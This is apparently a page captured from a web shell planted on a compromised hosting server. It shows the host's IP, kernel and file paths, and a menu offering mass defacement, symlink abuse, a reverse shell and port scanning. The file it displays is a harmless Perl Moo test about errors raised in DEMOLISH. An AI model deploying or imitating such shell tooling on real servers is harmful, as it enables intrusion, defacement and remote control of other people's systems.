ヤミRoot VoidGate
User / IP
:
216.73.216.2
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
.cpanm
/
work
/
1568630680.21759
/
Moo-2.003004
/
t
/
Viewing: demolish-throw.t
sub clean_die { use warnings; die @_; } use Moo::_strictures; use Test::More; use Test::Fatal; { package Foo; use Moo; sub DEMOLISH { die "Error in DEMOLISH"; } } my @warnings; my @looped_exceptions; my $o = Foo->new; { local $SIG{__WARN__} = sub { push @warnings, $_[0]; }; # make sure we don't loop infinitely my $last_die; local $SIG{__DIE__} = sub { my $location = join(':', caller); if ($last_die && $last_die eq $location) { push @looped_exceptions, $_[0]; clean_die(@_); } $last_die = $location; }; { no warnings FATAL => 'misc'; use warnings 'misc'; undef $o; # if undef is the last statement in a block, its effect is delayed until # after the block is cleaned up (and our warning settings won't be applied) 1; } } like $warnings[0], qr/\(in cleanup\) Error in DEMOLISH/, 'error in DEMOLISH converted to warning'; is scalar @warnings, 1, 'no other warnings generated'; is scalar @looped_exceptions, 0, 'no infinitely looping exception in DESTROY'; done_testing;
Coded With 💗 by
0x6ick